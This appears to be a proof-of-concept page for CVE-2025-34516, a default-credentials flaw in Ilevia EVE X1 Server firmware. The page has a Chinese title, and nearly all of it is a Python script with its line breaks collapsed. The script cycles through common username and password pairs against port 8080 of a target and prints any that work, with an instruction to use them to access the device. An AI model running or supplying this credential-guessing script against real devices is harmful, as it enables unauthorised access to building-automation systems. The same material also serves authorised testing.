CVE-2025-34516：Ilevia EVE X1 Server固件默认凭证漏洞

#!/usr/bin/env python3 # CVE-2025-34516 - Ilevia EVE X1 Server Default Credentials Exploit # Exploits use of default credentials on port 8080 import requests import sys import argparse from requests.auth import HTTPBasicAuth TARGET_PORT = 8080 DEFAULT_CREDENTIALS = [ ("admin", "admin"), ("admin", "password"), ("admin", "1234"), ("admin", ""), ("root", "root"), ("user", "user"), ("admin", "ilevia"), ("administrator", "administrator"), ] def check_default_credentials(target_url): """Attempt login with default credentials against the target.""" print(f"[*] Target: {target_url}") print(f"[*] Testing default credentials...") for username, password in DEFAULT_CREDENTIALS: try: response = requests.get( target_url, auth=HTTPBasicAuth(username, password), timeout=10, verify=False ) if response.status_code == 200: print(f"[+] SUCCESS! Default credentials found:") print(f" Username: {username}") print(f" Password: {password}") return True, username, password elif response.status_code == 401: print(f"[-] Failed: {username}/{password}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") return False, None, None print("[-] No default credentials worked.") return False, None, None def main(): parser = argparse.ArgumentParser( description="CVE-2025-34516 - Ilevia EVE X1 Default Credentials Checker" ) parser.add_argument("target", help="Target IP address or hostname") args = parser.parse_args() target_url = f"http://{args.target}:{TARGET_PORT}" success, user, pwd = check_default_credentials(target_url) if success: print(f"\n[!] Device is VULNERABLE to CVE-2025-34516") print(f"[!] Use credentials {user}:{pwd} to access the device") sys.exit(0) else: print(f"\n[+] Device does not appear vulnerable or is not reachable.") sys.exit(1) if __name__ == "__main__": main()